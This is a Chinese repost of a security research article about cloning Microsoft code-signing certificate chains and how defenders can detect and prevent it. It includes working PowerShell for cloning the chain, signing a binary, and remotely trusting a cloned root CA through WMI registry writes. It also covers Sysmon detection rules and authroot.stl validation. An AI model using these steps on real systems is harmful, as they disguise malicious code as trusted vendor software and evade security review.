代碼簽名證書克隆攻擊和防禦

新聞 12-28

在閱讀本文之前，請思考一下這個問題：「對於由微軟（或任何其他軟體供應商）簽名的內容，實際上意味著什麼呢？」

簡介：SOC分析師Autoruns的基線場景

想像一下，你在一個SOC工作，你負責在40,000個主機上建立持久性的條目。你的任務是檢查運行密鑰的持久性。你在整個企業中部署了Sysinternals，你可以在每個系統上運行Autoruns，並將結果轉發到Splunk儀錶板，以便你輕鬆解釋產生的結果。你所熟悉的智能SOC分析師都知道，簽名過的Microsoft應用程序很可能會被濫用，因此在運行autorunsc.exe時，請確保「Microsoft」和「Windows」記錄沒有被隱藏。你將所有常見的結果聚集在一起，並開始關注數據集中的異常值。你找到了以下異常

4萬個系統中有4萬個：

HKLMSOFTWAREMicrosoftWindowsCurrentVersionRun

SecurityAudit

C:Windows DefenderMpCmdRun.exe

Microsoft Malware Protection Command Line Utility

(Verified) Microsoft Corporation

4.12.16299.15

c:windows defendermpcmdrun.exe

11/25/1912 5:39 AM

你應用以下流程來確定這些記錄是正常的還是可疑的：

1. 你注意到該二進位文件是經過驗證的「Microsoft Corporation」的二進位文件。並知道它是由微軟簽名過的，可以讓你仔細審查，因為這個特殊的簽名二進位文件並不會被黑客濫用。

2. 你Google 搜索了MpCmdRun.exe並確認它確實與Windows Defender相關聯。

3. 你啟用了VirusTotal與Autoruns的整合（假設你所在的企業或組織已經接受了這個風險）分析，發現所有殺軟都查殺了這個程序。

4. 你仍然不確定為什麼它是一個異常值，但是你的企業是一個巨大的，異質的環境，根本沒有基本的黃金圖像的概念。

5. 你接受這是一個異常值，但是你確信MpCmdRun.exe不會被廣泛的濫用，並且你隨後會在以後的分析中過濾掉這個程序的哈希值。畢竟，你有更多的異常值來通過。

這種情況對任何人都熟悉嗎？不幸的是，儘管我討厭這麼說，Autoruns的分析結果就是企業被入侵的積極證據，你忽略了它，並決定在將來也忽略它。

證書鏈克隆和克隆的根證書信任攻擊

我們的SOC分析師沒能發現的事實是，MpCmdRun.exe是使用克隆的Microsoft證書鏈進行簽名的，因為攻擊者也在受感染的受害者系統上信任了其克隆的根證書。攻擊者如何去執行這樣的攻擊呢？攻擊步驟可以總結如下：

1. 將合法證書鏈中的所有證書導出到磁碟。這些證書是你將用作自己的克隆證書鏈模板的證書。

2. 使用導出到磁碟的證書鏈建立一個克隆的證書鏈。PowerShell中的New-SelfSignedCertificate cmdlet具有非常方便的「-CloneCert」和「-Signer」參數來啟用此功能。克隆證書鏈時，你將能夠使用克隆的證書鏈對惡意代碼進行簽名。

3. 你還需要導出克隆的根證書，因為你需要在受害者系統上信任此證書，來使你的任何已簽名的惡意代碼能夠正確驗證並與許多安全工具融合。

以下視頻顯示了導出用於簽名kernel32.dll的證書鏈的手動操作過程：

https://youtu.be/5rjJnxl50Dg

手動操作將合法的微軟證書鏈導出到磁碟並用作克隆模板。

既然Microsoft證書鏈已導出到了磁碟，現在就可以將其用作構建欺騙性的Microsoft證書鏈模板了。以下代碼可以用來實現這一點：

# We"ll just store the cloned certificates in current user "Personal" store for now.

$CertStoreLocation = @{ CertStoreLocation = "Cert:CurrentUserMy" }

$MS_Root_Cert = Get-PfxCertificate -FilePath C:TestMSKernel32Root.cer

$Cloned_MS_Root_Cert = New-SelfSignedCertificate -CloneCert $MS_Root_Cert @CertStoreLocation

$MS_PCA_Cert = Get-PfxCertificate -FilePath C:TestMSKernel32PCA.cer

$Cloned_MS_PCA_Cert = New-SelfSignedCertificate -CloneCert $MS_PCA_Cert -Signer $Cloned_MS_Root_Cert @CertStoreLocation

$MS_Leaf_Cert = Get-PfxCertificate -FilePath C:TestMSKernel32Leaf.cer

$Cloned_MS_Leaf_Cert = New-SelfSignedCertificate -CloneCert $MS_Leaf_Cert -Signer $Cloned_MS_PCA_Cert @CertStoreLocation

# Create some sample code to practice signing on

Add-Type -TypeDefinition @"

public class Foo {

public static void Main(string[] args) {

System.Console.WriteLine("Hello, World!");

System.Console.ReadKey();

}

"@ -OutputAssembly C:TestHelloWorld.exe

# Validate that that HelloWorld.exe is not signed.

Get-AuthenticodeSignature -FilePath C:TestHelloWorld.exe

# Sign HelloWorld.exe with the cloned Microsoft leaf certificate.

Set-AuthenticodeSignature -Certificate $Cloned_MS_Leaf_Cert -FilePath C:TestHelloWorld.exe

# The certificate will not properly validate because the root certificate is not trusted.

# View the StatusMessage property to see the reason why Set-AuthenticodeSignature returned "UnknownError"

# "A certificate chain processed, but terminated in a root certificate which is not trusted by the trust provider"

Get-AuthenticodeSignature -FilePath C:TestHelloWorld.exe | Format-List *

# Save the root certificate to disk and import it into the current user root store.

# Upon doing this, the HelloWorld.exe signature will validate properly.

Export-Certificate -Type CERT -FilePath C:TestMSKernel32Root_Cloned.cer -Cert $Cloned_MS_Root_Cert

Import-Certificate -FilePath C:TestMSKernel32Root_Cloned.cer -CertStoreLocation Cert:CurrentUserRoot

# You may need to start a new PowerShell process for the valid signature to take effect.

Get-AuthenticodeSignature -FilePath C:TestHelloWorld.exe

以下視頻演示了如何運行上面的代碼：

https://youtu.be/qF6h2he5B7g

那麼為什麼這個攻擊會起作用呢？因為在高層次上，數字簽名驗證依賴於以下內容：

1. 完整性驗證 - 文件的散列是否與簽名中的簽名散列匹配？如果沒有，文件的完整性已被破壞，不應該被信任。

2. 證書鏈驗證 - 每個證書是否由其父證書正確簽發？

3. 證書有效性檢查 - 如果證書鏈中的每個證書都沒有時間戳，每個證書是否在規定的有效期內？如果數字簽名具有時間戳，則驗證時間戳證書計數器簽名鏈。

4. 吊銷檢查 - 證書鏈中的任何一個證書是否被管理員撤銷或明確的不受信任？

5. 根CA驗證 - 簽名者證書鏈中的根證書是否為可信證書？

從技術上講，我們的克隆證書鏈通過了所有的這些檢查，因此任何執行簽名驗證（sigcheck，autoruns，procexp，AV？等）的工具都可能會失效。

你可能在視頻中注意到，在「CurrentUser」證書存儲區中安裝根證書時，會彈出一個對話框，詢問你是否信任該證書。如果在提升了許可權的上下文中運行，是不會出現這個彈框的。為什麼非管理員用戶能夠信任根CA證書？這超出了我的理解。這在任何企業或組織都不應該被允許。

攻擊步驟武器化

上面的視頻演示了如何在本地創建和信任克隆的根證書。理想情況下，在真實世界的攻擊情況中，你不會克隆證書鏈，並在受感染的系統上簽名惡意文件。相反，你將構建克隆鏈並在攻擊者系統上簽名你的惡意代碼。現在，問題仍然是如何能夠信任受害者系統上的克隆CA證書。你可能會放棄把它導出到磁碟並進行安裝，但如果你想作為一個猥瑣一點的管理員，你可以直接在註冊表中安裝和信任證書。以下是如何使用WMI遠程安裝和信任克隆的根CA證書的示例：

$CertThumbprint = "1F3D38F280635F275BE92B87CF83E40E40458400"

$EncodedCertBlob = "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"

Invoke-CimMethod -Namespace root/default -ClassName StdRegProv -MethodName CreateKey -Arguments @{

hDefKey = [UInt32] 2147483650 # HKLM

sSubKeyName = "SOFTWAREMicrosoftSystemCertificatesROOTCertificates$CertThumbprint"

}

Invoke-CimMethod -Namespace root/default -ClassName StdRegProv -MethodName SetBinaryValue -Arguments @{

hDefKey = [UInt32] 2147483650 # HKLM

sSubKeyName = "SOFTWAREMicrosoftSystemCertificatesROOTCertificates$CertThumbprint"

sValueName = "Blob"

uValue = [Convert]::FromBase64String($EncodedCertBlob)

}

在本例中，$EncodedCertBlob只是導出的克隆根CA.cer文件的base64編碼內容。$CertThumbprint是指紋值（即證書的SHA1哈希）。因此，在安裝該證書後，任何使用來自該CA的證書籤名的代碼都將被正確驗證。在這種特殊情況下，代碼還會顯示為Microsoft簽名過的代碼。

檢測惡意根CA證書的安裝

考慮到這種攻擊的根源是涉及到了安裝一個根CA證書，這個動作將是構建檢測的重點和切入點。根CA的安裝應該是不常見的，通過監視註冊表，可以實現精準的警報。Sysmon可以很好地達到這個檢測目的，下面是一個捕獲根證書安裝過程的理想配置文件：

SoftwareMicrosoftSystemCertificatesRootCertificates

SOFTWAREPoliciesMicrosoftSystemCertificatesRootCertificates

HKLMSOFTWAREMicrosoftEnterpriseCertificatesRootCertificates

SoftwareMicrosoftSystemCertificatesCACertificates

SOFTWAREPoliciesMicrosoftSystemCertificatesCACertificates

HKLMSOFTWAREMicrosoftEnterpriseCertificatesCACertificates

SoftwareMicrosoftSystemCertificatesAuthRootCertificates

SOFTWAREPoliciesMicrosoftSystemCertificatesAuthRootCertificates

HKLMSOFTWAREMicrosoftEnterpriseCertificatesAuthRootCertificates

當一個事件被觸發時，將產生如下結果：

註冊表值集合：

EventType: SetValue

UtcTime: 2017-12-20 17:12:11.999

ProcessGuid:

ProcessId: 4404

Image: C:WINDOWSsystem32wbemwmiprvse.exe

TargetObject: HKLMSOFTWAREMicrosoftSystemCertificatesROOTCertificates1F3D38F280635F275BE92B87CF83E40E40458400Blob

Details: Binary Data

使用此規則集，你可能會收到很多CreateKey事件的誤報。要注意的事件是SetValue事件，其中TargetObject屬性以「Blob」結尾，因為這表示直接安裝或修改根證書二進位blob的行為。不幸的是，在撰寫本文時，Sysmon配置不允許足夠的粒度將一組註冊表事件限制為特定的EventType，也不允許在規則條目中使用通配符。

那麼下一個問題就是，「我怎麼知道這個根證書安裝是否是惡意的？」合乎邏輯的第一步是調查證書的內容，看是否有什麼明顯的東西。PowerShell能夠使證書的檢查步驟非常簡單。

Get-ChildItem -Path Cert: -Recurse | Where-Object { $_.Thumbprint -eq "1F3D38F280635F275BE92B87CF83E40E40458400" } | For

mat-List *

運行此命令的結果可能會產生以下輸出：

PSPath : Microsoft.PowerShell.SecurityCertificate::LocalMachineRoot1F3D38F280635F275BE92B87CF83E40E40458400

PSParentPath : Microsoft.PowerShell.SecurityCertificate::LocalMachineRoot

PSChildName : 1F3D38F280635F275BE92B87CF83E40E40458400

PSDrive : Cert

PSProvider : Microsoft.PowerShell.SecurityCertificate

PSIsContainer : False

EnhancedKeyUsageList : {}

DnsNameList :

SendAsTrustedIssuer : False

EnrollmentPolicyEndPoint : Microsoft.CertificateServices.Commands.EnrollmentEndPointProperty

EnrollmentServerEndPoint : Microsoft.CertificateServices.Commands.EnrollmentEndPointProperty

PolicyId :

Archived : False

Extensions :

FriendlyName :

IssuerName : System.Security.Cryptography.X509Certificates.X500DistinguishedName

NotAfter : 11/30/2042 9:06:37 PM

NotBefore : 12/1/2017 1:55:14 PM

HasPrivateKey : False

PrivateKey :

PublicKey : System.Security.Cryptography.X509Certificates.PublicKey

RawData :

SerialNumber : 52761736EEA4458142453E2D73FA89B2

SubjectName : System.Security.Cryptography.X509Certificates.X500DistinguishedName

SignatureAlgorithm : System.Security.Cryptography.Oid

Thumbprint : 1F3D38F280635F275BE92B87CF83E40E40458400

Version : 3

Handle : 1849876297952

Issuer : CN=Microsoft Root Certificate Authority 2010, O=Microsoft Corporation, L=Redmond, S=Washington, C=US

Subject : CN=Microsoft Root Certificate Authority 2010, O=Microsoft Corporation, L=Redmond, S=Washington, C=US

對於任何觀察者來說，這個證書肯定具有合法證書的「外觀和感覺」，但究竟是什麼使證書看起來「合法」或可信呢？這個過程將在這篇文章的最後一節中介紹。

防止惡意的「CurrentUser」根CA證書的安裝

在演示根CA安裝的視頻中，它是在當前用戶的上下文中執行的。儘管作為管理員可能沒有強大的預防性證書安裝緩解措施，但可以通過設置以下註冊表值來防止在當前用戶的上下文中安裝根證書：

HKLMSOFTWAREPoliciesMicrosoftSystemCertificatesRootProtectedRoots - Flags (REG_DWORD) - 1

雖然這個註冊表鍵沒有很好的在線說明文檔，但Windows SDK中的wincrypt.h提供了一些關於可用於在「標誌」值中設置的選項的上下文線索。以下相關標誌值記錄在這個頭文件中：

// Set the following flag to inhibit the opening of the CurrentUser"s

// .Default physical store when opening the CurrentUser"s "Root" system store.

// The .Default physical store open"s the CurrentUser SystemRegistry "Root"

// store.

#define CERT_PROT_ROOT_DISABLE_CURRENT_USER_FLAG 0x1

// Set the following flag to inhibit the adding of roots from the

// CurrentUser SystemRegistry "Root" store to the protected root list

// when the "Root" store is initially protected.

#define CERT_PROT_ROOT_INHIBIT_ADD_AT_INIT_FLAG 0x2

設置此密鑰後，嘗試將根CA安裝到CurrentUser根證書存儲時，將會出現拒絕訪問的錯誤信息。

所以，雖然不是最強大的預防技術，但防止非管理員用戶信任他們自己的根CA當然是一個強制在你的組織執行的強有力的策略。

與任何強制執行的預防措施一樣，管理員需要考慮「在我的環境中會發生什麼事情」。就像任何預防措施一樣，重要的是在整個環境中分階段實施。如果出於任何原因有任何理由允許任何用戶信任根證書，那麼你同意攻擊者或流氓軟體也可以信任任意的根證書。Windows管理員將始終有能力通過組策略推送受信任的根證書。最近的一個案例是軟體安裝了自己的根證書，而沒有提醒用戶它是一個Savitech音頻驅動程序。在這種情況下，你必須是admin才能信任此根證書，但是任意根證書與Microsoft獲得你的根證書所需的艱難步驟相比，沒有建立信任的基礎。

適當驗證根CA信任

直到最近，我還沒有考慮證書信任的驗證方式，直到版本2.60的sigcheck發布，這個版本引入了-v開關與-t或-tu一起使用：

-t [u] [v]轉儲指定證書存儲區的內容（所有存儲都為「*」）。指定-tu來查詢用戶存儲（機器存儲是默認值）。追加「-v」參數讓Sigcheck下載受信任的Microsoft根證書列表，並僅輸出不在根目錄上的證書的有效證書。如果該站點不可訪問，則使用當前目錄中的authrootstl.cab或authroot.stl（如果存在）。

以下是一些示例輸出：

sigcheck64.exe -tuv -nobanner

UserRoot:

Microsoft Root Certificate Authority 2010

Cert Status: Valid

Valid Usage: All

Cert Issuer: Microsoft Root Certificate Authority 2010

Serial Number: 52 76 17 36 EE A4 45 81 42 45 3E 2D 73 FA 89 B2

Thumbprint: 1F3D38F280635F275BE92B87CF83E40E40458400

Algorithm: sha256RSA

Valid from: 1:55 PM 12/1/2017

Valid to: 9:06 PM 11/30/2042

那麼，為什麼這個證書不被信任呢？微軟的信任基礎是什麼？答案是authroot.stl ?- 一個經過簽名的ASN.1編碼文件，由微軟認為值得信賴的根證書組成。這相當於在操作系統中默認安裝的一組根CA。有時，微軟可能會更新此列表（無論是通過添加還是撤銷），並通過此鏈接分發更新。

為了更好地理解STL文件格式，不一定要依靠sigcheck來執行根CA信任驗證，我寫了一個粗略的解析器，提取所有可信的證書指紋值，以便我可以在PowerShell腳本中執行類似的驗證。在下面的屏幕截圖中，你將看到突出顯示的「惡意」克隆根CA證書：

也可以使用certutil.exe解析authroot.stl：

certutil -dump authroot.stl

通過解析authroot.stl，你還可以輕鬆確定哪些微軟特定的根證書對於代碼簽名是值得信賴的：

PS> ls Cert:LocalMachineRoot | Where-Object { ($TrustedRootHashes -contains $_.Thumbprint) -and ($_.Subject.StartsWith("CN=Microsoft Root")) }

Thumbprint : CDD4EEAE6000AC7F40C3802C171E30148030C072

Subject : CN=Microsoft Root Certificate Authority, DC=microsoft, DC=comThumbprint : A43489159A520F0D93D032CCAF37E7FE20A8B419

Subject : CN=Microsoft Root Certificate Authority 2011, O=Microsoft Corporation, L=Redmond, S=Washington, C=USThumbprint : 3B1EFD3A66EA28B16697394703A72CA340A05BD5

Subject : CN=Microsoft Root Certificate Authority 2010, O=Microsoft Corporation, L=Redmond, S=Washington, C=US

因此，理想地驗證Microsoft簽名代碼的方式（而不是簡單地拉取發布者名稱並驗證它鏈接到「受信任」的根目錄）是執行以下這些操作：

1. 驗證二進位文件的完整性沒有受到影響。

2. 驗證證書鏈中的每個證書是否有效。

3. 驗證根證書具有authroot.stl（上面列出）中存在的信任指紋之一。驗證authroot.stl的另一種方法是調用CertVerifyCertificateChainPolicy函數，並傳遞CERT_CHAIN_POLICY_MICROSOFT_ROOT值。這個函數底層的內容基本上是相同的證書指紋陣列，根證書將會被驗證。

authroot.stl中的一個值得注意的漏洞是微軟的飛行根證書（指紋：F8DB7E1C16F1FFD4AAAD4AAD8DFF0F2445184AEB） - Windows Insider Preview的證書頒發者構建。值得注意的是沒有時間戳簽名，意味著簽名將無法驗證證書有效期。這可能是微軟有意做出的決定。假設防衛者不知道什麼是被認為是「可信」的根證書指紋，缺少MSFT時間戳可能使得微軟的飛行證書鏈成為證書克隆攻擊的更可行的候選目標。下面是一個由Microsoft飛行根證書發行的證書籤名的kernel32.dll示例：

結論

希望現在你能更好地理解攻擊者是如何從他們選擇的代碼簽名者中出現的。然而，這不是唯一能夠允許這樣做的簽名攻擊方式。我還發布了有關如何劫持主題介麵包的相關研究，該介麵包有效地允許你將合法的數字簽名應用於通過完整性驗證檢查的惡意代碼。

所有這些研究的目的都是雙重的：幫助防禦者和安全供應商挑戰他們在調查過程中做出的假設，同時也指出正確的代碼簽名驗證的重要性，以確定任何給定的簽名代碼是否實際來源於誰起源於誰。

喜歡這篇文章嗎？立刻分享出去讓更多人知道吧！

本站內容充實豐富，博大精深，小編精選每日熱門資訊，隨時更新，點擊「搶先收到最新資訊」瀏覽吧！

請您繼續閱讀更多來自 嘶吼RoarTalk 的精彩文章:

※2018即將面臨的12個雲安全風險
※利用動態鏈接共享對象庫進行Linux提權
※新型挖礦工具 Digmine 正在大肆傳播，警惕Facebook聊天內容
※IoT安全的一些思考：安全、隱私、防護

TAG:嘶吼RoarTalk |